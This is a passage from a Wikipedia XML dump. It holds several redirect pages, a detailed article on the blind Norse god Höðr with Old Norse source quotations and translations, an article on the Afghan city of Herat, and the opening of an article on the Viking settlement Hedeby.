    <id>14124</id>
    <revision>
      <id>15911701</id>
      <timestamp>2004-06-11T16:41:33Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Henry X, Duke of Bavaria]]</text>
    </revision>
  </page>
  <page>
    <title>Homosexuals</title>
    <id>14126</id>
    <revision>
      <id>15911703</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Homosexuality]]
</text>
    </revision>
  </page>
  <page>
    <title>Höðr</title>
    <id>14127</id>
    <revision>
      <id>40699316</id>
      <timestamp>2006-02-22T11:27:38Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <minor />
      <comment>/* Gesta Danorum */ Modern names for geographical entitites that still exist</comment>
      <text xml:space="preserve">[[Image:Loki and Hod.jpg|right|frame|[[Loki]] tricks Höðr into shooting [[Baldr]].]]

'''Höðr''' (often anglicized as '''Hod'''{{ref|name}}) is the blind brother of [[Baldr]] in [[Norse mythology]]. Guided by [[Loki]] he shot the [[mistletoe]] missile which was to slay the otherwise invulnerable Baldr. 

According to the [[Prose Edda]] and the [[Poetic Edda]] the goddess [[Frigg]] made everything in existence swear never to harm Baldr, except for the mistletoe which she found too young to demand an oath from. The gods amused themselves by trying weapons on Baldr and seeing them fail to do any harm. [[Loki]], upon finding out about Baldr's one weakness, made a missile from mistletoe, and helped Höðr shoot it at Baldr. After this [[Odin]] and the [[giantess]] [[Rindr]] gave birth to [[Váli (son of Odin)|Váli]] who grew to adulthood within a day and slew Höðr.

The [[Denmark|Danish]] [[history|historian]] [[Saxo Grammaticus]] recorded an alternative version of this myth in his ''[[Gesta Danorum]]''. In this version the mortal hero '''Høtherus''' and the demi-god ''Balderus'' compete for the hand of [[Nanna]]. Ultimately Høtherus slays Balderus.

==The Prose Edda==

In the ''[[Gylfaginning]]'' part of [[Snorri Sturluson]]'s [[Prose Edda]] Höðr is introduced in an ominous way.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''Höðr heitir einn ássinn, hann er blindr. Œrit er hann styrkr, en vilja mundu goðin at þenna ás þyrfti eigi at nefna, þvíat hans handaverk munu lengi vera höfð at minnum með goðum ok mönnum.'' - [http://www.hi.is/~eybjorn/gg/ggrpar23.html Eysteinn Björnsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;One of the [[Æsir]] is named Hödr: he is blind. He is of sufficient strength, but the gods would desire that no occasion should rise of naming this god, for the work of his hands shall long be held in memory among gods and men.&quot; - [http://www.northvegr.org/lore/prose/037040.php Brodeur's translation]
|
|}

Höðr is not mentioned again until the prelude to Baldr's death is described. All things except
the mistletoe have sworn an oath not to harm Baldr and the Æsir throw missiles at him for sport.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''En Loki tók mistiltein ok sleit upp ok gekk til þings. En Höðr stóð útarliga í mannhringinum, þvíat hann var blindr. Þá mælti Loki við hann: &quot;Hví skýtr þú ekki at Baldri?&quot; Hann svarar: &quot;Þvíat ek sé eigi hvar Baldr er, ok þat annat at ek em vápnlauss.&quot; Þá mælti Loki: &quot;Gerðu þó í líking annarra manna ok veit Baldri sœmð sem aðrir menn. Ek mun vísa þér til hvar hann stendr. Skjót at honum vendi þessum.&quot;''

''Höðr tók mistiltein ok skaut at Baldri at tilvísun Loka. Flaug skotit í gögnum hann ok fell hann dauðr til jarðar. Ok hefir þat mest óhapp verit unnit með goðum ok mönnum.'' -  [http://www.hi.is/~eybjorn/gg/ggrpar49.html Eysteinn Björnsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;Loki took Mistletoe and pulled it up and went to the Thing. Hödr stood outside the ring of men, because he was blind. Then spake Loki to him: 'Why dost thou not shoot at Baldr?' He answered: 'Because I see not where Baldr is; and for this also, that I am weaponless.' Then said Loki: 'Do thou also after the manner of other men, and show Baldr honor as the other men do. I will direct thee where he stands; shoot at him with this wand.' 

Hödr took  Mistletoe and shot at Baldr, being guided by Loki: the shaft flew through Baldr, and he fell dead to the earth; and that was the greatest mischance that has ever befallen among 
gods and men.&quot; - [http://www.northvegr.org/lore/prose/069072.php Brodeur's translation]
|
|}

The ''Gylfaginning'' does not say what happens to Höðr after this. In fact it specifically states that Baldr cannot be avenged, at least not immediately.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''Þá er Baldr var fallinn, þá fellusk öllum ásum orðtök ok svá hendr at taka til hans, ok sá hverr til annars ok váru allir með einum hug til þess er unnit hafði verkit. En engi mátti hefna, þar var svá mikill griðastaðr.'' - [http://www.hi.is/~eybjorn/gg/ggrpar49.html Eysteinn Björnsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;Then, when Baldr was fallen, words failed all the Æsir, and their hands likewise to lay 
hold of him; each looked at the other, and all were of one mind as to him who had wrought 
the work, but none might take vengeance, so great a sanctuary was in that place.&quot; - [http://www.northvegr.org/lore/prose/069072.php Brodeur's translation]
|
|}

It does seem, however, that Höðr ends up in [[Hel (realm)|Hel]] one way or another for the last mention of him in Gylfaginning is in the description of the post-[[Ragnarök]] world.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''Því næst koma þar Baldr ok Höðr frá Heljar, setjask þá allir samt ok talask við ok minnask á rúnar sínar ok rœða of tíðindi þau er fyrrum höfðu verit, of Miðgarðsorm ok um Fenrisúlf.'' - [http://www.hi.is/~eybjorn/gg/ggrpar51.html Eysteinn Björnsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;After that Baldr shall come thither, and Hödr, from Hel; then all shall sit down together
and hold speech with one another, and call to mind their secret wisdom, and speak of those
happenings which have been before: of the [[Midgard Serpent]] and of [[Fenrir|Fenris-Wolf]].&quot; - [http://www.northvegr.org/lore/prose/081085.php Brodeur's translation]
|
|}

Snorri's source of this knowledge is clearly ''[[Völuspá]]'' as quoted below.

In the ''[[Skáldskaparmál]]'' section of the Prose Edda several [[kenning]]s for Höðr are related.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''Hvernig skal kenna Höð? Svá, at kalla hann blinda ás, Baldrs bana, skjótanda Mistilteins, son Óðins, Heljar sinna, Vála dólg.'' - [http://www.heimskringla.no/original/snorre/skaldskaparmal.php Guðni Jónsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;How should one periphrase Hödr? Thus: by calling him the Blind God, Baldr's Slayer, Thrower
of the Mistletoe, Son of Odin, Companion of Hel, Foe of Váli.&quot; - [http://www.northvegr.org/lore/prose/113116.php Brodeur's translation]
|
|}

None of those kennings, however, are actually found in surviving [[skaldic poetry]]. Neither are Snorri's kennings for [[Váli (son of Odin)|Váli]] which are also of interest in this context.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
''Hvernig skal kenna Vála? Svá, at kalla hann son Óðins ok Rindar, stjúpson Friggjar, bróður ásanna, hefniás Baldrs, dólg Haðar ok bana hans, byggvanda föðurtófta.'' - [http://www.heimskringla.no/original/snorre/skaldskaparmal.php  Guðni Jónsson's edition ]
| style=&quot;padding: 1pt 10pt;&quot; |
&quot;How should Váli be periphrased? Thus: by calling him Son of Odin and Rindr, Stepson of Frigg, Brother of the Æsir, Baldr's Avenger, Foe and Slayer of Hödr, Dweller in the Homesteads of the Fathers.&quot; - [http://www.northvegr.org/lore/prose/113116.php Brodeur's translation]
|
|}

It is clear from this that Snorri was familiar with the role of Váli as Höðr's slayer, even though he does not relate that myth in the ''Gylfaginning'' prose. Perhaps he found it distasteful since Höðr is essentially innocent in his version of the story.

== The Poetic Edda ==

Höðr is referred to several times in the [[Poetic Edda]], always in the context of Baldr's death. The following strophes are from ''[[Völuspá]]''.

{|
|
:''Ek sá Baldri,'' 
:''blóðgom tívur,'' 
:''Óðins barni,'' 
:''ørlög fólgin:'' 
:''stóð um vaxinn'' 
:''völlum hærri''
:''mjór ok mjök fagr'' 
:''mistilteinn.''  

:''Varð af þeim meiði,'' 
:''er mær sýndisk,'' 
:''harmflaug hættlig:'' 
:''Höðr nam skjóta.'' 
:''Baldrs bróðir var'' 
:''of borinn snemma,'' 
:''sá nam, Óðins sonr,'' 
:''einnættr vega.''  

:''Þó hann æva hendr'' 
:''né höfuð kembði,'' 
:''áðr á bál um bar'' 
:''Baldrs andskota.'' 
:''En Frigg um grét'' 
:''í Fensölum'' 
:''vá Valhallar -'' 
:''vituð ér enn, eða hvat?''
:
:- [http://www.hi.is/~eybjorn/ugm/vsp3.html EB's edition]
|
:I saw for Baldr,
:the bleeding god,
:The son of Othin,
:his destiny set:
:Famous and fair
:in the lofty fields,
:Full grown in strength
:the mistletoe stood.

:From the branch which seemed
:so slender and fair
:Came a harmful shaft
:that Hoth should hurl;
:But the brother of Baldr
:was born ere long,
:And one night old
:fought Othin’s son.

:His hands he washed not,
:his hair he combed not,
:Till he bore to the bale-blaze
:Baldr’s foe.
:But in [[Fensalir]]
:did Frigg weep sore
:For [[Valhall]]’s need:
:would you know yet more?
:
:- [http://www.sacred-texts.com/neu/poe/poe03.htm HAB's translation]
|
:I saw for Baldr&amp;mdash;
:for the bloodstained sacrifice,
:Óðinn's child&amp;mdash;
:the fates set hidden.
:There stood full-grown,
:higher than the plains,
:slender and most fair,
:the mistletoe.

:There formed from that stem
:which was slender-seeming,
:a shaft of anguish, perilous:
:Hǫðr started shooting.
:A brother of Baldr
:was born quickly:
:he started&amp;mdash;Óðinn's son&amp;mdash;
:slaying, at one night old.

:He never washed hands,
:never combed head,
:till he bore to the pyre
:Baldr's adversary&amp;mdash;
:while Frigg wept
:in Fen Halls
:for Valhǫll's woe.
:Do you still seek to know? And what?
:
:- UD's translation
|
|}

This account seems to fit well with the information in the Prose Edda, but here the role of Baldr's avenging brother is emphasized.

Baldr and Höðr are also mentioned in ''Völuspá'''s description of the world after Ragnarök.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:''Munu ósánir'' 
:''akrar vaxa,'' 
:''böls mun alls batna,'' 
:''Baldr mun koma.'' 
:''Búa þeir Höðr ok Baldr'' 
:''Hropts sigtóptir'' 
:''vel, valtívar -'' 
:''vituð ér enn, eða hvat?'' - [http://www.hi.is/~eybjorn/ugm/vsp3.html Eysteinn Björnsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:Unsown shall
:the fields bring forth,
:all evil be amended;
:Baldr shall come;
:Hödr and Baldr,
:the heavenly gods,
:[[Odin|Hropt]]´s glorious dwellings shall inhabit.
:Understand ye yet, or what? - [http://www.northvegr.org/lore/poetic2/001_05.php Thorpe's translation]
|
|}

Interestingly the poem ''[[Vafþrúðnismál]]'' informs us that the gods who survive Ragnarök are [[Viðarr]], [[Váli (son of Odin)|Váli]], [[Móði and Magni]] with no mention of Höðr and Baldr.

The myth of Baldr's death is also referred to in another Eddic poem, ''[[Baldrs draumar]]''.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:''Óðinn kvað: 
:''&quot;Þegj-at-tu, völva, 
:''þik vil ek fregna, 
:''unz alkunna, 
:''vil ek enn vita: 
:''Hverr mun Baldri 
:''at bana verða 
:''ok Óðins son 
:''aldri ræna?&quot;

:''Völva kvað: 
:''&quot;Höðr berr hávan 
:''hróðrbaðm þinig, 
:''hann mun Baldri 
:''at bana verða 
:''ok Óðins son 
:''aldri ræna; 
:''nauðug sagðak, 
:''nú mun ek þegja.&quot;

:''Óðinn kvað:
:''&quot;Þegj-at-tu, völva, 
:''þik vil ek fregna, 
:''unz alkunna, 
:''vil ek enn vita: 
:''Hverr mun heift Heði 
:''hefnt of vinna 
:''eða Baldrs bana 
:''á bál vega?&quot;

:''Völva kvað:''  
:''Rindr berr Vála'' 
:''í vestrsölum,'' 
:''sá mun Óðins sonr'' 
:''einnættr vega:'' 
:''hönd of þvær'' 
:''né höfuð kembir,'' 
:''áðr á bál of berr'' 
:''Baldrs andskota;'' 
:''nauðug sagðak,''
:''nú mun ek þegja.&quot;'' - [http://www.heimskringla.no/original/edda/vegtamskvida.php Guðni Jónsson's edition]
| style=&quot;padding: 1pt 10pt;&quot; |
:Vegtam
:&quot;Be thou not silent, [[Völva|Vala]]!
:I will question thee,
:until I know all.
:I will yet know
:who will Baldr’s 
:slayer be,
:and Odin’s son
:of life bereave.&quot;

:Vala
:&quot;Hödr will hither
:his glorious brother send,
:he of Baldr will
:the slayer be,
:and Odin’s son
:of life bereave.
:By compulsion I have spoken;
:I will now be silent.&quot;

:Vegtam
:&quot;Be not silent, Vala!
:I will question thee,
:until I know all. 
:I will yet know
:who on Hödr vengeance
:will inflict
:or Baldr’s slayer
:raise on the pile.&quot;

:Vala
:&quot;Rind a son shall bear,
:in the western halls:
:he shall slay Odin’s son,
:when one night old.
:He a hand will not wash,
:nor his head comb,
:ere he to the pile has borne
:Baldr’s adversary.
:By compulsion I have spoken;
:I will now be silent.&quot; - [http://www.northvegr.org/lore/poetic2/005.php Thorpe's translation]
|
|}

Höðr is not mentioned again by name in the Eddas. He is, however, referred to in ''[[Völuspá in skamma]]''.

{|
| style=&quot;padding: 1pt 10pt;&quot; |
:''Váru ellifu'' 
:''æsir talðir,'' 
:''Baldr er hné,'' 
:''við banaþúfu;'' 
:''þess lézk Váli'' 
:''verðr at hefna,'' 
:''síns of bróður'' 
:''sló hann handbana.'' - [http://www.heimskringla.no/original/edda/voluspainskamma.php Guðni Jónsson's edition] 
| style=&quot;padding: 1pt 10pt;&quot; |
:There were eleven
:Æsir reckoned,
:when Baldr on
:the pile was laid;
:him Vali showed himself
:worthy to avenge,
:his own brother:
:he the slayer slew. - [http://www.northvegr.org/lore/poetic2/015_02.php Thorpe's translation]
|
|}

==Skaldic poetry==

The name of Höðr occurs several times in [[skaldic poetry]] as a part of warrior-[[kenning]]s. Thus ''Höðr brynju'', &quot;Höðr of byrnie&quot;, is a warrior and so is ''Höðr víga'', &quot;Höðr of battle&quot;. Some scholars have found the fact that the poets should want to compare warriors with Höðr to be incongruous with Snorri's description of him as a blind god, unable to harm anyone without assistance. It is possible that this indicates that some of the poets were familiar with other myths about Höðr than the one related in ''Gylfaginning'' - perhaps some where Höðr has a more active role. On the other hand the names of many gods occur in kennings and the poets might not have been particular in using any god name as a part of a kenning.

==Gesta Danorum==
[[Image:Hotherus and wood maidens by Froelich.jpg|left|thumb|300px|In [[Saxo Grammaticus|Saxo]]'s version of the story Høtherus meets wood maidens who warn him that Balderus is a demi-god who can't be killed by normal means.]]

In ''[[Gesta Danorum]]'' '''Høtherus''' is a human hero of the Danish and Swedish royal lines. He is gifted in swimming, archery, fighting and music and Nanna, daughter of King [[Gevarus]] falls in love with him. But at the same time Balderus, son of Othinus, has caught sight of Nanna bathing and fallen violently in love with her. He resolves to slay Høtherus, his rival.

As Høtherus is hunting he is led astray by a mist and meets wood-maidens who control the fortunes of war. They warn him that Balderus has designs on Nanna but also tell him that he shouldn't attack him in battle since he is a demigod. Høtherus goes to consult with King Gevarus and asks him for his daughter. The king replies that he would gladly favour him but that Balderus has already offered a like request and he does not want to incur his wrath.

Gevarus tells Høtherus that Balderus is invincible but that he knows of one weapon which can defeat him, a sword kept by [[Mimingus]], the satyr of the woods. Mimingus also has another magical artifact, a bracelet that increases the wealth of its owner. Riding through a region of extraordinary cold in a carriage drawn by reindeer Høtherus captures the satyr with a clever ruse and forces him to yield his artifacts.

Hearing about Høtherus's artifacts, Gelderus, king of Saxony, equips a fleet to attack him. Gevarus warns Høtherus of this and tells him where to meet Gelderus in battle. When the battle is joined, Høtherus and his men save their missiles while defending themselves against those of the enemy with a [[testudo formation]]. With his missiles exhausted, Gelderus is forced to sue for peace. He is treated mercifully by Høtherus and becomes his ally. Høtherus then gains another ally with his eloquent oratory by helping King Helgo of [[Hålogaland]] win a bride.

Meanwhile Balderus enters the country of king Gevarus armed and sues for Nanna. Gevarus tells him to learn Nanna's own mind. Balderus addresses her with cajoling words but obtains a refusal. Nanna tells him that because of the great difference in their nature and stature, since he is a demigod, they are not suitable for marriage. 

As news of Balderus's efforts reaches Høtherus he and his allies resolve to attack Balderus. A great naval battle ensues where the gods fight on the side of Balderus. [[Thor]]o in particular shatters all opposition with his mighty club. As the battle seems lost Høtherus manages to hew Thoro's club off at the haft and the gods are forced to retreat. Gelderus perishes in the battle and Høtherus arranges a funeral pyre of vessels for him. After this battle Høtherus finally marries Nanna.

Balderus is not completely defeated and shortly afterwards returns to defeat Høtherus in the field. But Balderus's victory is without fruit for he is still without Nanna. Lovesick he is harassed by phantoms in Nanna's likeness and his health deteriorates so that he cannot walk but has himself drawn around in a cart.

After a while Høtherus and Balderus have their third battle and again Høtherus is forced to retreat. Weary of life because of his misfortunes against Balderus he plans to retire and wanders into the wilderness. In a cave he comes upon the same maidens he had met at the start of his career. Now they tell him that he can defeat Balderus if he gets a taste of some extraordinary food which had been devised to increase the strength of Balderus.

Encouraged by this Høtherus returns from exile and once again meets Balderus in the field. After a day of inconclusive fighting Høtherus goes out during the night to spy on the enemy. He finds where Balderus's magical food is prepared and plays the lyre for the maidens preparing it. While they don't want to give him the food they bestow on him a belt and a girdle which secure victory.

Heading back to his camp, Høtherus meets Balderus and plunges his sword into his side. After three days Balderus dies from his wound. Many years later, Bous, the son of Othinus and Rinda avenges his brother and kills Høtherus in a duel.

==Notes==
&lt;!-- [[wikipedia:footnote3]] --&gt;
#{{note|name}} The name ''Höðr'' is thought to be related to ''höð'', &quot;battle&quot;, and mean something like &quot;killer&quot;. This would seem to fit with the god's mythological role. In the standardized Old Norse orthography the name is spelled ''{{unicode|Hǫðr}}'' but the letter '{{unicode|ǫ}}' is frequently replaced with the Modern Icelandic 'ö' for reasons of familiarity or technical expediency. &lt;br&gt; The name can be [[Old Norse orthography|represented in English texts]] as ''Hod'', ''Hoder'', ''Hodur'', ''Hodr'', ''Hödr'', ''Höd'' or ''Hoth'' or less commonly as ''Hödur'', ''Hödhr'', ''Höder'', ''Hothr'', ''Hodhr'', ''Hodh'', ''Hother'', ''Höthr'', ''Höth'' or ''Hödh''. In the reconstructed pronunciation of [[Old Norse language|Old Norse]] ''Höðr'' is pronounced {{IPA2|'hɔðr}} ([[:Image:Höðr_(RP).ogg|♫]]) while the Icelandic pronunciation is {{IPA2|'hœðʏr}} ([[:Image:Höðr_(IP).ogg|♫]]), corresponding to the Icelandic spelling ''Höður''. The various anglicizations are pronounced in an ad hoc fashion according to the taste and dialect of the speaker.

==References==

* Bellows, Henry Adams (transl.) (1936). ''The Poetic Edda''. Princeton: Princeton University Press. [http://www.sacred-texts.com/neu/poe/index.htm Available online] 
* Brodeur, Arthur Gilchrist (transl.) (1916). ''The Prose Edda by Snorri Sturluson''. New York: The American-Scandinavian Foundation. [http://www.northvegr.org/lore/prose/index.php Available online]
* Dronke, Ursula (ed.) (1997) ''The Poetic Edda: Mythological Poems''. Oxford: Oxford University Press. ISBN 0198111819.
* Eysteinn Björnsson (2001). ''Lexicon of Kennings : The Domain of Battle''. Published online: http://www.hi.is/~eybjorn/ugm/kennings/kennings.html 
* Eysteinn Björnsson (ed.). ''Snorra-Edda: Formáli &amp; Gylfaginning : Textar fjögurra meginhandrita''. 2005. Published online: http://www.hi.is/~eybjorn/gg/
* Eysteinn Björnsson (ed.). ''Völuspá''. Published online: http://www.hi.is/~eybjorn/ugm/vsp3.html
* Guðni Jónsson (ed.) (1949). ''Eddukvæði : Sæmundar Edda''. Reykjavík: Íslendingasagnaútgáfan. [http://www.heimskringla.no/original/edda/index.php Available online] 
* Lindow, John (2001). ''Handbook of Norse mythology''. Santa Barbara: ABC-Clio. ISBN 1576072177.
* [[Benjamin Thorpe|Thorpe, Benjamin]] (transl.) (1866). ''Edda Sæmundar Hinns Froða : The Edda Of Sæmund The Learned''. (2 vols.) London: Trübner &amp; Co. [http://www.northvegr.org/lore/poetic2/000.php Available online] 

[[Category:Norse gods]]

[[ca:Hödr]]
[[da:Høder]]
[[de:Hödur]]
[[es:Hoder]]
[[fr:Hod]]
[[hr:Hodr]]
[[lt:Hiodas]]
[[nl:Hodr]]
[[ja:ヘズ]]
[[no:Hod]]
[[nn:Hod]]
[[pl:Høder]]
[[ru:Хёд]]
[[sv:Höder]]</text>
    </revision>
  </page>
  <page>
    <title>Herat</title>
    <id>14128</id>
    <revision>
      <id>40551010</id>
      <timestamp>2006-02-21T10:28:10Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: es</comment>
      <text xml:space="preserve">'''Her&amp;#257;t''' ([[Persian language|Persian]] &amp;#1607;&amp;#1585;&amp;#1575;&amp;#1578;) is a city in western [[Afghanistan]], in the valley of the [[Hari Rud]] river in the province also known as ''[[Herat province|Herat]]'', and was traditionally known for wine. The population of the city is 249,000 ([[2002]] official estimate}. The inhabitants are mainly [[Tajiks]] ([[Persians|Persian]]).

It is an ancient city with many historic buildings, although these have suffered damage in various military conflicts during the last few decades. The buildings are generally constructed of mud brick. The city is dominated by the remains of a [[citadel]], constructed under the rule of [[Alexander of Macedon]].

The city had a favourable position on the trade routes between [[Iran|Persia]], [[India]], [[China]] and [[Europe]]. The roads from Herat to [[Turkmenistan]] and [[Iran]] are still strategically important.

== History ==

Herat is probably a descendant of the ancient Persian town of [[Artacoana]], established before [[500 BC]]. It may also have been known as Aria.

[[Image:Citadel3.jpg|thumb|right|Citadel, July 2001]]

It was captured by Alexander in [[330 BC]] during his war against the Persian [[Achaemenid Empire]]. The town was rebuilt and the citadel was constructed. It was part of the [[Seleucid Empire]] but was captured by others on various occasions and became part of the [[Parthian Empire]] in [[167 BC]].

Around [[300]] it became a seat of [[Christianity]], with a [[Nestorian]] bishop.

Around [[484]] it became part of the [[Hephthalite Empire]].

Around [[786]]-[[809]] it was part of the [[Abbasid]] caliphate.

Later, it was ruled by the [[Tahirid dynasty]].

After [[867]]-[[869]] the [[Saffarid dynasty]] took control.

Before [[1040]] it was ruled by the [[Ghaznavid]]s. In [[1040]] it was captured by the [[Seljuk Empire]]. In [[1175]] it was captured by the [[Ghorid]]s and then came under the [[Khawarazm Empire]]. In this period Herat became an important center for the production of metal goods, especially in [[bronze]], often decorated with elaborate inlays in precious metals.

In [[1221]] it was captured by the [[Mongols]] and later destroyed by [[Genghis Khan]]. In [[1245]] it was given to the [[Kart Maliks]].

[[Image:Gawhar shad-1417-2.jpg|thumb|right|Remains of Musallah complex, July 2001]]

Around [[1381]] it was destroyed again by [[Timur]]. Under his son [[Shah Rukh]] it was rebuilt and became an important center under the [[Timurid Empire]]. In the late [[15th century|1400s]] the Musallah complex (with many [[minaret]]s) was built under the rule of [[Queen Gawharshad]]. Her tomb complex is considered one of the great monuments of Timurid architectural carving.

In [[1506]] it was captured by the [[Uzbek]]s and a few years later by [[Ismail I|Shah Ismail Safavi]], to become part of a new [[Persian Empire]].

From [[1718]] until [[1880]] there were various battles until the city became part of a united [[Afghanistan]]. During the [[Qajar]] period of Persia, [[Britain]] supported the Afghans in order to protect their [[British East India Company|East India Company]]. [[Nasser-al-Din Shah|Nasereddin Shah]] was unable to defeat The British at Herat in 1857.

Most of the Musallah complex in Herat was destroyed in 1885 by the British army for a clear line of sight for their artillery against Russian invaders (who never came).

During the [[communist]] [[Democratic Republic of Afghanistan]] Herat was used by the [[Soviet Union|Soviet]]s. Even before the Soviet invasion at the end of [[1979]], there was a substantial presence of Soviet advisors in the city with their families. From 10 to [[20 March]] [[1979]] the army in Herat under the control of [[Ismail Khan]] mutinied and 350 Soviet citizens were killed. The Soviets [[bomb]]ed the city, causing massive destruction and thousands of deaths and it was recaptured with [[tank]]s and [[paratrooper]]s.

Ismail Khan became a [[Mujahedin]] commander and after the departure of the Soviets he became governor of Herat. In [[1995]] the city was captured by the [[Taliban]]. On [[12 November]], [[2001]] it was captured by the [[Afghan Northern Alliance]] and Ismail Khan returned to power in the region. In 2004 it was the site of the ambush and killing of [[Mirwais Sadeq]], the Aviation Minister for the country.  More than 200 people were immediately arrested, on suspicion of involvement[http://news.bbc.co.uk/2/hi/south_asia/3567277.stm]

==External links==
*{{wikitravel}}
*[http://www.faizani.com Islam Way Online - Your Religion and Spirituality Portal] Web-site of the celebrated Islamic scholar Mawlana Faizani, who hails from Herat
*Scenes From Herat: [http://avalon.unomaha.edu/afghan/afghanistan/herat/ar01.HTM] 
*Local News From Herat: [http://www.poyaa.com/local/Herat/] 



[[Category:Cities along the Silk Road]]
[[Category:Cities in Afghanistan]]

[[cv:Герат]]
[[de:Herat]]
[[es:Herāt]]
[[fr:Hérat]]
[[nl:Herat]]
[[ja:ヘラート]]
[[no:Herat]]
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[[ru:Герат]]
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[[sv:Herat]]</text>
    </revision>
  </page>
  <page>
    <title>Haithabu</title>
    <id>14129</id>
    <revision>
      <id>15911706</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hedeby]]
</text>
    </revision>
  </page>
  <page>
    <title>Hedeby</title>
    <id>14130</id>
    <revision>
      <id>41413165</id>
      <timestamp>2006-02-27T03:53:05Z</timestamp>
      <contributor>
        <username>Volkoff</username>
        <id>997797</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Haithabu_Haddebyer_Noor_WT2005.jpg|thumb|300px|Site of the former town of Hedeby.]]
[[Image:Denmark vikings 3.jpg|thumb|300px|Map of Viking Denmark with Hedeby at the southern edge.]] 
'''Hedeby''' was an important settlement in [[Viking]] [[Denmark]], flourishing from the 8th to 11th centuries and located towards the southern end of the [[Jutland Peninsula]]. It developed as a trading centre at the head of a narrow, navigable inlet known today as the [[Schlei]] ([[Danish language|Danish]]: Slien) which connects to the [[Baltic Sea]]. 
Hedeby was the largest [[Nordic]] city during the [[Viking Age]] and used to be the oldest city in [[Denmark]].{{ref|Ribe}}
[[Denmark]] lost the territory on which Hedeby was located to [[Austrian Empire|Austria]] and [[Prussia]] in [[1864]] in the [[Second War of Schleswig]]. As a result of these border movements, the site is now located in the province of [[Schleswig-Holstein]] in the extreme north of [[Germany]]. 
The name 'Hedeby' means the &quot;town on the heath&quot;. Abandoned almost a thousand years ago, Hedeby is now by far the most important archeological site in [[Schleswig-Holstein]]. A museum was opened next to the site in [[1985]].

==Problems with naming==
Both in modern European usage and in Viking times, the names and spellings used for Hedeby were varied and confusing.{{ref|Elsner}}
* ''Hedeby'' is the accepted modern English and Danish spelling.
* ''Heithabyr'' is derived from old Scandinavian sources and is the oldest known name.
* ''Heidiba'' is a [[Latin]] form.
* ''Haithabu'' is the modern German spelling used when referring to the historical settlement. This is reflected in the name of the museum now located at the site.
* ''Haddeby'' is the modern German spelling for the ''[http://www.haddeby.de administrative district]'' around the site of the original town.
* ''Heddeby'' is also known.

A second set of names are used in other linguistic traditions.
* ''Sliesthorp'' in the earliest [[Saxon people|Saxon]] and [[Frankish]] texts.
* ''Sliaswich'' in later [[Saxon people|Saxon]] and [[Frankish]] texts.

It is possible that two name sets were used interchangeably for the same settlement, depending on which language was being used. However the fact that two settlements came into existence, situated very close together, creates further difficulties. While the settlement today referred to as Hedeby/Haithabu lies on the south side of the [[Schlei]] inlet, a settlement also grew up (at around the same time) on the north side. That second settlement has had a continuous history of habitation to modern times, and has now grown into the town known as [[Schleswig]] (derived from the second set of names for Hedeby) and given its name to the surrounding province.

==History==
[[Image:Haithabu Haeuser WT2005.jpg|thumb|left|Two reconstructed houses at Hedeby]]

{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|colspan=2 style=&quot;padding:0.3em;border-collapse:collapse;background-color:#ccccff&quot; align=center| '''Timeline''' {{ref|timeline}}
|-
|valign=top|'''793'''
|Viking raid on [[Lindisfarne]] - traditional date for the beginning of the [[Viking Age]].
|-
|valign=top|'''804'''
|First mention of Hedeby
|-
|valign=top|'''808'''
|Destruction of [[Reric]] and migration of tradespeople to Hedeby
|-
|'''c.850'''
|Construction of a church at Hedeby
|-
|'''886'''
|The [[Danelaw]] is established in [[England]], following Viking migration
|-
|'''911'''
|The Vikings settle in [[Normandy]]
|-
|'''948'''
|Hedeby becomes a bishopric
|-
|'''965'''
|Visit of [[Ibrahim ibn Yaqub al-Tartushi|Al-Tartushi]] to Hedeby
|-
|'''974'''
|Hedeby falls to the [[Holy Roman Empire]]
|-
|'''983'''
|Hedeby returns to Danish control
|-
|'''c.1000'''
|The Viking [[Leif Erikson]] explores [[Vinland]], probably in North America
|-
|'''1016-1042'''
|Danish kings rule in England
|-
|'''1050'''
|The Norwegian King [[Harald Hardrada]] destroys Hedeby
|-
|'''1066'''
|Final destruction of Hedeby by a Slavic army.
|-
|'''1066'''
|Traditional end of the [[Viking Age]]
|}

===Origins===
Hedeby is first mentioned in the Frankish chronicles of [[Einhard]] ([[804]]) who was in the service of [[Charlemagne]],
but was probably founded around [[770]]. In [[808]] the Danish king [[Gudfred|Godfred]] (Lat. Godofredus) destroyed a competing [[Slavic peoples|Slav]] trade centre namied Reric ([[Rerik]]) and it is recorded in the Frankish chronicles that he moved the merchants from there to Hedeby. This may have given the town of Hedeby its initial impetus to develop. The same sources record that Godfred strengthened the [[Danevirke]] earthen wall which stretched across the south of the Jutland peninsular. The [[Danevirke]] joined the defensive walls of Hedeby to form an east-west barrier across the peninsular, from the marshes in the West to the Schlei inlet leading into the Baltic in the East.

